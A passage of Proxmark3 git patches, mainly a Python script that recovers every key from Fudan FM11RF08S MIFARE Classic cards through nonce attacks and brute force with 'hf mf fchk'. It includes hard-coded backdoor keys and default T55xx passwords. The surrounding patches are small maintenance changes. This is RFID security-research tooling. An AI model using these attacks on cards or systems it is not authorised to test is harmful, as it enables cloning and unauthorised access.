color(f"{seconds:2}", fg="yellow") + " seconds -----------") + + if os.path.isfile(DICT_DEF_PATH): + show(f"Loading {DICT_DEF}") + with open(DICT_DEF_PATH, 'r', encoding='utf-8') as file: + for line in file: + if line[0] != '#' and len(line) >= 12: + DEFAULT_KEYS.add(line[:12]) + else: + show(f"Warning, {DICT_DEF} not found.") + + dict_dnwd = None + def_nt = ["" for _ in range(NUM_SECTORS)] + if supply_chain: + try: + default_nonces = f'{save_path}hf-mf-{uid:04X}-default_nonces.json' + with open(default_nonces, 'r') as file: + # Load and parse the JSON data + dict_dnwd = json.load(file) + for sec in range(NUM_SECTORS): + def_nt[sec] = dict_dnwd["nt"][f"{sec}"].lower() + show(f"Loaded default nonces from {default_nonces}.") + except FileNotFoundError: + pass + except json.decoder.JSONDecodeError: + show(f"Error parsing {default_nonces}, skipping.") + + show("Running staticnested_1nt & 2x1nt when doable...") + keys = [[set(), set()] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] + all_keys = set() + duplicates = set() + # Availability of filtered dicts + filtered_dicts = [[False, False] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] + found_default = [[False, False] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] + for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): + real_sec = sec + if sec >= NUM_SECTORS: + real_sec += 16 + if found_keys[sec][0] != "" and found_keys[sec][1] != "": + continue + if found_keys[sec][0] == "" and found_keys[sec][1] == "" and nt[sec][0] != nt[sec][1]: + for key_type in [0, 1]: + cmd = [tools["staticnested_1nt"], f"{uid:08X}", f"{real_sec}", + nt[sec][key_type], nt_enc[sec][key_type], par_err[sec][key_type]] + if debug: + print(' '.join(cmd)) + subprocess.run(cmd, capture_output=True) + cmd = [tools["staticnested_2x1nt"], + f"keys_{uid:08x}_{real_sec:02}_{nt[sec][0]}.dic", f"keys_{uid:08x}_{real_sec:02}_{nt[sec][1]}.dic"] + if debug: + print(' '.join(cmd)) + subprocess.run(cmd, capture_output=True) + filtered_dicts[sec][key_type] = True + for key_type in [0, 1]: + keys_set = set() + with (open(f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic")) as f: + while line := f.readline().rstrip(): + keys_set.add(line) + keys[sec][key_type] = keys_set.copy() + duplicates.update(all_keys.intersection(keys_set)) + all_keys.update(keys_set) + if dict_dnwd is not None and sec < NUM_SECTORS: + # Prioritize keys from supply-chain attack + cmd = [tools["staticnested_2x1nt1key"], def_nt[sec], "FFFFFFFFFFFF", + f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic"] + if debug: + print(' '.join(cmd)) + result = subprocess.run(cmd, capture_output=True, text=True).stdout + keys_def_set = set() + for line in result.split('\n'): + if "MATCH:" in line: + keys_def_set.add(line[12:]) + keys_set.difference_update(keys_def_set) + else: + # Prioritize default keys + keys_def_set = DEFAULT_KEYS.intersection(keys_set) + keys_set.difference_update(keys_def_set) + # Prioritize sector 32 keyB starting with 0000 + if real_sec == 32: + keyb32cands = set(x for x in keys_set if x.startswith("0000")) + keys_def_set.update(keyb32cands) + keys_set.difference_update(keyb32cands) + if len(keys_def_set) > 0: + found_default[sec][key_type] = True + with (open(f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic", "w")) as f: + for k in keys_def_set: + f.write(f"{k}\n") + for k in keys_set: + f.write(f"{k}\n") + else: # one key not found or both identical + if found_keys[sec][0] == "": + key_type = 0 + else: + key_type = 1 + cmd = [tools["staticnested_1nt"], f"{uid:08X}", f"{real_sec}", + nt[sec][key_type], nt_enc[sec][key_type], par_err[sec][key_type]] + if debug: + print(' '.join(cmd)) + subprocess.run(cmd, capture_output=True) + keys_set = set() + with (open(f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic")) as f: + while line := f.readline().rstrip(): + keys_set.add(line) + keys[sec][key_type] = keys_set.copy() + duplicates.update(all_keys.intersection(keys_set)) + all_keys.update(keys_set) + if dict_dnwd is not None and sec < NUM_SECTORS: + # Prioritize keys from supply-chain attack + cmd = [tools["staticnested_2x1nt1key"], def_nt[sec], "FFFFFFFFFFFF", + f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic"] + if debug: + print(' '.join(cmd)) + result = subprocess.run(cmd, capture_output=True, text=True).stdout + keys_def_set = set() + for line in result.split('\n'): + if "MATCH:" in line: + keys_def_set.add(line[12:]) + keys_set.difference_update(keys_def_set) + else: + # Prioritize default keys + keys_def_set = DEFAULT_KEYS.intersection(keys_set) + keys_set.difference_update(keys_def_set) + if len(keys_def_set) > 0: + found_default[sec][key_type] = True + with (open(f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic", "w")) as f: + for k in keys_def_set: + f.write(f"{k}\n") + for k in keys_set: + f.write(f"{k}\n") + + show("Looking for common keys across sectors...") + keys_filtered = [[set(), set()] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] + for dup in duplicates: + for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): + for key_type in [0, 1]: + if dup in keys[sec][key_type]: + keys_filtered[sec][key_type].add(dup) + + # Availability of duplicates dicts + duplicates_dicts = [[False, False] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] + first = True for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): real_sec = sec if sec >= NUM_SECTORS: real_sec += 16 for key_type in [0, 1]: - for append in ["", "_filtered", "_duplicates"]: - file_name = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}{append}.dic" - if os.path.isfile(file_name): - os.remove(file_name) + if len(keys_filtered[sec][key_type]) > 0: + if first: + show("Saving duplicates dicts...") + first = False + with (open(f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_duplicates.dic", "w")) as f: + keys_set = keys_filtered[sec][key_type].copy() + keys_def_set = DEFAULT_KEYS.intersection(keys_set) + keys_set.difference_update(DEFAULT_KEYS) + for k in keys_def_set: + f.write(f"{k}\n") + for k in keys_set: + f.write(f"{k}\n") + duplicates_dicts[sec][key_type] = True -elapsed_time3 = time.time() - start_time - elapsed_time1 - elapsed_time2 -minutes = int(elapsed_time3 // 60) -seconds = int(elapsed_time3 % 60) -print("----Step 3: " + color(f"{minutes:2}", fg="yellow") + " minutes " + - color(f"{seconds:2}", fg="yellow") + " seconds -----------") + show("Computing needed time for attack...") + candidates = [[0, 0] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] + for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): + real_sec = sec + if sec >= NUM_SECTORS: + real_sec += 16 + for key_type in [0, 1]: + if found_keys[sec][0] == "" and found_keys[sec][1] == "" and duplicates_dicts[sec][key_type]: + kt = ['a', 'b'][key_type] + dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_duplicates.dic" + with open(dic, 'r') as file: + count = sum(1 for _ in file) + # print(f"dic {dic} size {count}") + candidates[sec][key_type] = count + if nt[sec][0] == nt[sec][1]: + candidates[sec][key_type ^ 1] = 1 + for key_type in [0, 1]: + if ((found_keys[sec][0] == "" and found_keys[sec][1] == "" and + filtered_dicts[sec][key_type] and candidates[sec][0] == 0 and + candidates[sec][1] == 0)): + if found_default[sec][key_type]: + # We assume the default key is correct + candidates[sec][key_type] = 1 + else: + kt = ['a', 'b'][key_type] + dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic" + with open(dic, 'r') as file: + count = sum(1 for _ in file) + # print(f"dic {dic} size {count}") + candidates[sec][key_type] = count + if ((found_keys[sec][0] == "" and found_keys[sec][1] == "" and + nt[sec][0] == nt[sec][1] and candidates[sec][0] == 0 and + candidates[sec][1] == 0)): + if found_default[sec][0]: + # We assume the default key is correct + candidates[sec][0] = 1 + candidates[sec][1] = 1 + else: + key_type = 0 + kt = ['a', 'b'][key_type] + dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic" + with open(dic, 'r') as file: + count = sum(1 for _ in file) + # print(f"dic {dic} size {count}") + candidates[sec][0] = count + candidates[sec][1] = 1 -elapsed_time = time.time() - start_time -minutes = int(elapsed_time // 60) -seconds = int(elapsed_time % 60) -print("---- TOTAL: " + color(f"{minutes:2}", fg="yellow") + " minutes " + - color(f"{seconds:2}", fg="yellow") + " seconds -----------") + if debug: + for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): + real_sec = sec + if sec >= NUM_SECTORS: + real_sec += 16 + show(f" {real_sec:03} | {real_sec*4+3:03} | {candidates[sec][0]:6} | {candidates[sec][1]:6} ") + total_candidates = sum(candidates[sec][0] + candidates[sec][1] for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS)) + + elapsed_time2 = time.time() - start_time - elapsed_time1 + minutes = int(elapsed_time2 // 60) + seconds = int(elapsed_time2 % 60) + show("----Step 2: " + color(f"{minutes:2}", fg="yellow") + " minutes " + + color(f"{seconds:2}", fg="yellow") + " seconds -----------") + + # fchk: 147 keys/s. Correct key found after 50% of candidates on average + FCHK_KEYS_S = 147 + foreseen_time = (total_candidates / 2 / FCHK_KEYS_S) + 5 + minutes = int(foreseen_time // 60) + seconds = int(foreseen_time % 60) + show("Still about " + color(f"{minutes:2}", fg="yellow") + " minutes " + + color(f"{seconds:2}", fg="yellow") + " seconds to run...") + + abort = False + show("Brute-forcing keys... Press any key to interrupt") + for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): + real_sec = sec + if sec >= NUM_SECTORS: + real_sec += 16 + for key_type in [0, 1]: + # If we have a duplicates dict + # note: we skip if we already know one key + # as using 2x1nt1key later will be faster + if found_keys[sec][0] == "" and found_keys[sec][1] == "" and duplicates_dicts[sec][key_type]: + kt = ['a', 'b'][key_type] + dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_duplicates.dic" + cmd = f"hf mf fchk --blk {real_sec * 4} -{kt} -f {dic} --no-default" + if debug: + print(cmd) + p.console(cmd) + for line in p.grabbed_output.split('\n'): + if "aborted via keyboard" in line: + abort = True + if "found:" in line: + found_keys[sec][key_type] = line[30:].strip() + show_key(real_sec, key_type, found_keys[sec][key_type]) + if nt[sec][0] == nt[sec][1] and found_keys[sec][key_type ^ 1] == "": + found_keys[sec][key_type ^ 1] = found_keys[sec][key_type] + show_key(real_sec, key_type ^ 1, found_keys[sec][key_type ^ 1]) + if abort: + break + if abort: + break + + for key_type in [0, 1]: + # If we have a filtered dict + # note: we skip if we already know one key + # as using 2x1nt1key later will be faster + if found_keys[sec][0] == "" and found_keys[sec][1] == "" and filtered_dicts[sec][key_type]: + # Use filtered dict + kt = ['a', 'b'][key_type] + dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic" + cmd = f"hf mf fchk --blk {real_sec * 4} -{kt} -f {dic} --no-default" + if debug: + print(cmd) + p.console(cmd) + for line in p.grabbed_output.split('\n'): + if "aborted via keyboard" in line: + abort = True + if "found:" in line: + found_keys[sec][key_type] = line[30:].strip() + show_key(real_sec, key_type, found_keys[sec][key_type]) + if abort: + break + if abort: + break + + # If one common key for the sector + if found_keys[sec][0] == "" and found_keys[sec][1] == "" and nt[sec][0] == nt[sec][1]: + key_type = 0 + # Use regular dict + kt = ['a', 'b'][key_type] + dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic" + cmd = f"hf mf fchk --blk {real_sec * 4} -{kt} -f {dic} --no-default" + if debug: + print(cmd) + p.console(cmd) + for line in p.grabbed_output.split('\n'): + if "aborted via keyboard" in line: + abort = True + if "found:" in line: + found_keys[sec][0] = line[30:].strip() + found_keys[sec][1] = line[30:].strip() + show_key(real_sec, 0, found_keys[sec][key_type]) + show_key(real_sec, 1, found_keys[sec][key_type]) + if abort: + break + + # If one key is missing, use the other one with 2x1nt1key + if ((found_keys[sec][0] == "") ^ (found_keys[sec][1] == "")) and nt[sec][0] != nt[sec][1]: + if (found_keys[sec][0] == ""): + key_type_source = 1 + key_type_target = 0 + else: + key_type_source = 0 + key_type_target = 1 + if duplicates_dicts[sec][key_type_target]: + dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type_target]}_duplicates.dic" + elif filtered_dicts[sec][key_type_target]: + dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type_target]}_filtered.dic" + else: + dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type_target]}.dic" + cmd = [tools["staticnested_2x1nt1key"], nt[sec][key_type_source], found_keys[sec][key_type_source], dic] + if debug: + print(' '.join(cmd)) + result = subprocess.run(cmd, capture_output=True, text=True).stdout + keys = set() + for line in result.split('\n'): + if "MATCH:" in line: + keys.add(line[12:]) + if len(keys) > 1: + kt = ['a', 'b'][key_type_target] + cmd = f"hf mf fchk --blk {real_sec * 4} -{kt} --no-default" + for k in keys: + cmd += f" -k {k}" + if debug: + print(cmd) + p.console(cmd) + for line in p.grabbed_output.split('\n'): + if "aborted via keyboard" in line: + abort = True + if "found:" in line: + found_keys[sec][key_type_target] = line[30:].strip() + elif len(keys) == 1: + found_keys[sec][key_type_target] = keys.pop() + if found_keys[sec][key_type_target] != "": + show_key(real_sec, key_type_target, found_keys[sec][key_type_target]) + if abort: + break + + if abort: + show("Brute-forcing phase aborted via keyboard!") + final_check = False + + plus = "[" + color("+", fg="green") + "] " + if final_check: + show("Letting fchk do a final dump, just for confirmation and display...") + keys_set = set([i for sl in found_keys for i in sl if i != ""]) + with (open(f"keys_{uid:08x}.dic", "w")) as f: + for k in keys_set: + f.write(f"{k}\n") + cmd = f"hf mf fchk -f keys_{uid:08x}.dic --no-default --dump" + if debug: + print(cmd) + p.console(cmd, capture=False, quiet=False) + else: + show() + show(plus + color("found keys:", fg="green")) + show() + show(plus + "-----+-----+--------------+---+--------------+----") + show(plus + " Sec | Blk | key A |res| key B |res") + show(plus + "-----+-----+--------------+---+--------------+----") + for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): + real_sec = sec + if sec >= NUM_SECTORS: + real_sec += 16 + keys = [["", 0], ["", 0]] + for key_type in [0, 1]: + if found_keys[sec][key_type] == "": + keys[key_type] = [color("------------", fg="red"), color("0", fg="red")] + else: + keys[key_type] = [color(found_keys[sec][key_type], fg="green"), color("1", fg="green")] + show(plus + f" {real_sec:03} | {real_sec*4+3:03} | " + + f"{keys[0][0]} | {keys[0][1]} | {keys[1][0]} | {keys[1][1]} ") + show(plus + "-----+-----+--------------+---+--------------+----") + show(plus + "( " + color("0", fg="red") + ":Failed / " + + color("1", fg="green") + ":Success )") + show() + show(plus + "Generating binary key file") + keyfile = f"{save_path}hf-mf-{uid:08X}-key.bin" + unknown = False + with (open(keyfile, "wb")) as f: + for key_type in [0, 1]: + for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): + k = found_keys[sec][key_type] + if k == "": + k = "FFFFFFFFFFFF" + unknown = True + f.write(bytes.fromhex(k)) + show(plus + "Found keys have been dumped to `" + color(keyfile, fg="yellow")+"`") + if unknown: + show("[" + color("=", fg="yellow") + "] --[ " + color("FFFFFFFFFFFF", fg="yellow") + + " ]-- has been inserted for unknown keys") + show(plus + "Generating final dump file") + dumpfile = f"{save_path}hf-mf-{uid:08X}-dump.bin" + with (open(dumpfile, "wb")) as f: + for sec in range(NUM_SECTORS): + for b in range(4): + d = data[(sec * 4) + b] + if b == 3: + ka = found_keys[sec][0] + kb = found_keys[sec][1] + if ka == "": + ka = "FFFFFFFFFFFF" + if kb == "": + kb = "FFFFFFFFFFFF" + d = ka + d[12:20] + kb + f.write(bytes.fromhex(d)) + show(plus + "Data has been dumped to `" + color(dumpfile, fg="yellow")+"`") + + # Remove generated dictionaries after processing + if not keep: + show(plus + "Removing generated dictionaries...") + for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): + real_sec = sec + if sec >= NUM_SECTORS: + real_sec += 16 + for key_type in [0, 1]: + for append in ["", "_filtered", "_duplicates"]: + file_name = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}{append}.dic" + if os.path.isfile(file_name): + os.remove(file_name) + + elapsed_time3 = time.time() - start_time - elapsed_time1 - elapsed_time2 + minutes = int(elapsed_time3 // 60) + seconds = int(elapsed_time3 % 60) + show("----Step 3: " + color(f"{minutes:2}", fg="yellow") + " minutes " + + color(f"{seconds:2}", fg="yellow") + " seconds -----------") + + elapsed_time = time.time() - start_time + minutes = int(elapsed_time // 60) + seconds = int(elapsed_time % 60) + show("---- TOTAL: " + color(f"{minutes:2}", fg="yellow") + " minutes " + + color(f"{seconds:2}", fg="yellow") + " seconds -----------") + + return (found_keys, data) + + +def main(): + parser = argparse.ArgumentParser(description='A script combining staticnested* tools ' + 'to recover all keys from a FM11RF08S card.') + parser.add_argument('-x', '--init-check', action='store_true', help='Run an initial fchk for default keys') + parser.add_argument('-y', '--final-check', action='store_true', help='Run a final fchk with the found keys') + parser.add_argument('-k', '--keep', action='store_true', help='Keep generated dictionaries after processing') + parser.add_argument('-d', '--debug', action='store_true', help='Enable debug mode') + parser.add_argument('-s', '--supply-chain', action='store_true', help='Enable supply-chain mode. ' + 'Look for hf-mf-XXXXXXXX-default_nonces.json') + # Such json can be produced from the json saved by + # "hf mf isen --collect_fm11rf08s --key A396EFA4E24F" on a wiped card, then processed with + # jq '{Created: .Created, FileType: "fm11rf08s_default_nonces", nt: .nt | del(.["32"]) | map_values(.a)}' + args = parser.parse_args() + + recovery( + init_check=args.init_check, + final_check=args.final_check, + keep=args.keep, + debug=args.debug, + supply_chain=args.supply_chain, + quiet=False + ) + + +if __name__ == '__main__': + main() From d4890d73b4fc406459a6c1cc92be82270eda019b Mon Sep 17 00:00:00 2001 From: Benjamin DELPY Date: Thu, 31 Oct 2024 11:03:45 +0100 Subject: [PATCH 041/155] Update intertic.py to support Bourg-en-Bresse Signed-off-by: Benjamin DELPY --- client/pyscripts/intertic.py | 1 + 1 file changed, 1 insertion(+) diff --git a/client/pyscripts/intertic.py b/client/pyscripts/intertic.py index 82d39f57f..1142f088f 100644 --- a/client/pyscripts/intertic.py +++ b/client/pyscripts/intertic.py @@ -256,6 +256,7 @@ FRA_OrganizationalAuthority_Contract_Provider = { }, 0x502: { 83: InterticHelper('Annecy', 'Sibra', Describe_Usage_2), + 84: InterticHelper('Bourg-en-Bresse', 'Rubis / Keolis'), 10: InterticHelper('Clermont-Ferrand', 'T2C'), }, 0x907: { From a370673028e65ade92a538b5862b9e98719b769e Mon Sep 17 00:00:00 2001 From: stuiterveer Date: Thu, 31 Oct 2024 13:15:53 +0100 Subject: [PATCH 042/155] Fix typo from envelop to envelope --- client/src/cmddata.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/client/src/cmddata.c b/client/src/cmddata.c index 35573b88a..407f003f8 100644 --- a/client/src/cmddata.c +++ b/client/src/cmddata.c @@ -3384,9 +3384,9 @@ static int envelope_square(const int *in, int *out, size_t len) { static int CmdEnvelope(const char *Cmd) { CLIParserContext *ctx; - CLIParserInit(&ctx, "data envelop", - "Create an square envelop of the samples", - "data envelop" + CLIParserInit(&ctx, "data envelope", + "Create an square envelope of the samples", + "data envelope" ); void *argtable[] = { arg_param_begin, From b96637b167f39040851799cd15e2fe26a3933674 Mon Sep 17 00:00:00 2001 From: Benjamin DELPY Date: Thu, 31 Oct 2024 13:20:53 +0100 Subject: [PATCH 043/155] Update intertic.py to support Avignon / Orizo Signed-off-by: Benjamin DELPY --- client/pyscripts/intertic.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/client/pyscripts/intertic.py b/client/pyscripts/intertic.py index 1142f088f..88a2be07b 100644 --- a/client/pyscripts/intertic.py +++ b/client/pyscripts/intertic.py @@ -239,6 +239,9 @@ FRA_OrganizationalAuthority_Contract_Provider = { 0x008: { 15: InterticHelper('Angoulême', 'STGA', Describe_Usage_1_1), # May have a problem with date ? }, + 0x013: { + 1: InterticHelper('Avignon', 'Orizo'), + } 0x021: { 1: InterticHelper('Bordeaux', 'TBM / Keolis', Describe_Usage_1_1), }, From 0b35762b1545ff8881677f5a7151603c1ea0dfb5 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Fri, 1 Nov 2024 00:57:03 +0100 Subject: [PATCH 044/155] fix static enc nonce detection in hf mf info --- client/src/cmdhfmf.c | 44 +++++++++++++++++++++++++++++--------------- include/mifare.h | 5 ++--- 2 files changed, 31 insertions(+), 18 deletions(-) diff --git a/client/src/cmdhfmf.c b/client/src/cmdhfmf.c index dc10cb8c9..765bb53cf 100644 --- a/client/src/cmdhfmf.c +++ b/client/src/cmdhfmf.c @@ -9601,7 +9601,7 @@ static int CmdHF14AMfInfo(const char *Cmd) { PrintAndLogEx(INFO, "--- " _CYAN_("Keys Information")); uint8_t fkey[MIFARE_KEY_SIZE] = {0}; - uint8_t fKeyType = 0xff; + uint8_t fKeyType = 0xFF; uint64_t tmpkey = 0; mfc_algo_saflok_one(card.uid, 0, MF_KEY_A, &tmpkey); @@ -9656,13 +9656,17 @@ static int CmdHF14AMfInfo(const char *Cmd) { uint8_t k32[6] = {0x51, 0x8B, 0x33, 0x54, 0xE7, 0x60}; if (mfReadBlock(0, 4, k08s, blockdata) == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "Backdoor key..... " _YELLOW_("%s"), sprint_hex_inrow(k08s, sizeof(k08s))); - fKeyType = MF_KEY_BD08S; + fKeyType = MF_KEY_BD; + memcpy(fkey, k08s, sizeof(fkey)); + } else if (mfReadBlock(0, 4, k08, blockdata) == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "Backdoor key..... " _YELLOW_("%s"), sprint_hex_inrow(k08, sizeof(k08))); - fKeyType = MF_KEY_BD08; + fKeyType = MF_KEY_BD; + memcpy(fkey, k08, sizeof(fkey)); } else if (mfReadBlock(0, 4, k32, blockdata) == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "Backdoor key..... " _YELLOW_("%s"), sprint_hex_inrow(k32, sizeof(k32))); - fKeyType = MF_KEY_BD32; + fKeyType = MF_KEY_BD; + memcpy(fkey, k32, sizeof(fkey)); } if (fKeyType != 0xFF) { @@ -9677,33 +9681,43 @@ static int CmdHF14AMfInfo(const char *Cmd) { if (card.sak != 0x20 && memcmp(blockdata + 8, "\x62\x63\x64\x65\x66\x67\x68\x69", 8) == 0) { // backdoor might be present, or just a clone reusing Fudan MF data... PrintAndLogEx(SUCCESS, "Fudan based card"); - } else if (fKeyType == MF_KEY_BD08S && card.sak == 0x08 && memcmp(blockdata + 5, "\x08\x04\x00", 3) == 0 + } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08s, sizeof(fkey)) == 0 + && card.sak == 0x08 && memcmp(blockdata + 5, "\x08\x04\x00", 3) == 0 && (blockdata[8] == 0x03 || blockdata[8] == 0x04) && blockdata[15] == 0x90) { PrintAndLogEx(SUCCESS, "Fudan FM11RF08S"); - } else if (fKeyType == MF_KEY_BD08S && card.sak == 0x08 && memcmp(blockdata + 5, "\x00\x03\x00\x10", 4) == 0 + } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08s, sizeof(fkey)) == 0 + && card.sak == 0x08 && memcmp(blockdata + 5, "\x00\x03\x00\x10", 4) == 0 && blockdata[15] == 0x90) { PrintAndLogEx(SUCCESS, "Fudan FM11RF08S-7B"); - } else if (fKeyType == MF_KEY_BD08 && card.sak == 0x08 && memcmp(blockdata + 5, "\x08\x04\x00", 3) == 0 + } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 + && card.sak == 0x08 && memcmp(blockdata + 5, "\x08\x04\x00", 3) == 0 && blockdata[15] == 0x98) { PrintAndLogEx(SUCCESS, "Fudan FM11RF08S **98"); - } else if (fKeyType == MF_KEY_BD08 && card.sak == 0x08 && memcmp(blockdata + 5, "\x08\x04\x00", 3) == 0 + } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 + && card.sak == 0x08 && memcmp(blockdata + 5, "\x08\x04\x00", 3) == 0 && (blockdata[8] >= 0x01 && blockdata[8] <= 0x03) && blockdata[15] == 0x1D) { PrintAndLogEx(SUCCESS, "Fudan FM11RF08"); - } else if (fKeyType == MF_KEY_BD32 && card.sak == 0x18 && memcmp(blockdata + 5, "\x18\x02\x00\x46\x44\x53\x37\x30\x56\x30\x31", 11) == 0) { + } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k32, sizeof(fkey)) == 0 + && card.sak == 0x18 && memcmp(blockdata + 5, "\x18\x02\x00\x46\x44\x53\x37\x30\x56\x30\x31", 11) == 0) { PrintAndLogEx(SUCCESS, "Fudan FM11RF32"); - } else if (fKeyType == MF_KEY_BD08 && card.sak == 0x20 && memcmp(blockdata + 8, "\x62\x63\x64\x65\x66\x67\x68\x69", 8) == 0) { + } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 + && card.sak == 0x20 && memcmp(blockdata + 8, "\x62\x63\x64\x65\x66\x67\x68\x69", 8) == 0) { PrintAndLogEx(SUCCESS, "Fudan FM11RF32 (SAK=20)"); - } else if (fKeyType == MF_KEY_BD08 && card.sak == 0x28 && memcmp(blockdata + 5, "\x28\x04\x00\x90\x10\x15\x01\x00\x00\x00\x00", 11) == 0) { + } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 + && card.sak == 0x28 && memcmp(blockdata + 5, "\x28\x04\x00\x90\x10\x15\x01\x00\x00\x00\x00", 11) == 0) { // Note: it also has ATS = // 10 78 80 90 02 20 90 00 00 00 00 00 + UID + CRC PrintAndLogEx(SUCCESS, "Fudan FM1208-10"); - } else if (fKeyType == MF_KEY_BD08 && card.sak == 0x88 && memcmp(blockdata + 5, "\x88\x04\x00\x43", 4) == 0) { + } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 + && card.sak == 0x88 && memcmp(blockdata + 5, "\x88\x04\x00\x43", 4) == 0) { PrintAndLogEx(SUCCESS, "Infineon SLE66R35"); - } else if (fKeyType == MF_KEY_BD08 && card.sak == 0x08 && memcmp(blockdata + 5, "\x88\x04\x00\x44", 4) == 0) { + } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 + && card.sak == 0x08 && memcmp(blockdata + 5, "\x88\x04\x00\x44", 4) == 0) { PrintAndLogEx(SUCCESS, "NXP MF1ICS5003"); - } else if (fKeyType == MF_KEY_BD08 && card.sak == 0x08 && memcmp(blockdata + 5, "\x88\x04\x00\x45", 4) == 0) { + } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 + && card.sak == 0x08 && memcmp(blockdata + 5, "\x88\x04\x00\x45", 4) == 0) { PrintAndLogEx(SUCCESS, "NXP MF1ICS5004"); - } else if (fKeyType == MF_KEY_BD08 || fKeyType == MF_KEY_BD08S || fKeyType == MF_KEY_BD32) { + } else if (fKeyType == MF_KEY_BD) { PrintAndLogEx(SUCCESS, _RED_("Unknown card with backdoor, please report details!")); } else // other cards diff --git a/include/mifare.h b/include/mifare.h index 4082b174e..69665cdc8 100644 --- a/include/mifare.h +++ b/include/mifare.h @@ -21,11 +21,10 @@ #include "common.h" +// These are also used to construct AUTH commands (60+x) #define MF_KEY_A 0 #define MF_KEY_B 1 -#define MF_KEY_BD08S 2 -#define MF_KEY_BD08 3 -#define MF_KEY_BD32 4 +#define MF_KEY_BD 4 #define MF_MAD1_SECTOR 0x00 #define MF_MAD2_SECTOR 0x10 From 08c22a0a5e7cb2c199638c5a6e1845f1dec96e7d Mon Sep 17 00:00:00 2001 From: stuiterveer Date: Fri, 1 Nov 2024 10:38:51 +0100 Subject: [PATCH 045/155] Show correct example for `lf data num --hex` --- client/src/cmddata.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/src/cmddata.c b/client/src/cmddata.c index 407f003f8..4b7ddb0d2 100644 --- a/client/src/cmddata.c +++ b/client/src/cmddata.c @@ -3069,7 +3069,7 @@ static int CmdNumCon(const char *Cmd) { "Function takes a decimal or hexdecimal number and print it in decimal/hex/binary\n" "Will print message if number is a prime number\n", "data num --dec 2023\n" - "data num --hex 0x1000\n" + "data num --hex 2A\n" ); void *argtable[] = { From 224ac2fed9a65407ce78c05e2c867c7af92b5f42 Mon Sep 17 00:00:00 2001 From: shellster Date: Fri, 1 Nov 2024 19:39:42 -0600 Subject: [PATCH 046/155] Add JAKCOM R5 smart ring t55x default passwords --- client/dictionaries/t55xx_default_pwds.dic | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/client/dictionaries/t55xx_default_pwds.dic b/client/dictionaries/t55xx_default_pwds.dic index 570264306..702e75891 100644 --- a/client/dictionaries/t55xx_default_pwds.dic +++ b/client/dictionaries/t55xx_default_pwds.dic @@ -167,3 +167,7 @@ F1EA5EED 93C467E3 # natural log 27182818 +#JAKCOM R5 smart ring default credentials http://www.jakcom.com/ins/r5/r5en.html +5469616e +51243648 + From d0d7bbc5fd874917c7cc2dca4595b7eacb2f5aaf Mon Sep 17 00:00:00 2001 From: shellster Date: Fri, 1 Nov 2024 19:42:50 -0600 Subject: [PATCH 047/155] remove extra line return --- client/dictionaries/t55xx_default_pwds.dic | 1 - 1 file changed, 1 deletion(-) diff --git a/client/dictionaries/t55xx_default_pwds.dic b/client/dictionaries/t55xx_default_pwds.dic index 702e75891..01544c911 100644 --- a/client/dictionaries/t55xx_default_pwds.dic +++ b/client/dictionaries/t55xx_default_pwds.dic @@ -170,4 +170,3 @@ F1EA5EED #JAKCOM R5 smart ring default credentials http://www.jakcom.com/ins/r5/r5en.html 5469616e 51243648 - From a45f4f02bd5dd321bc4119d79f6022025861b21a Mon Sep 17 00:00:00 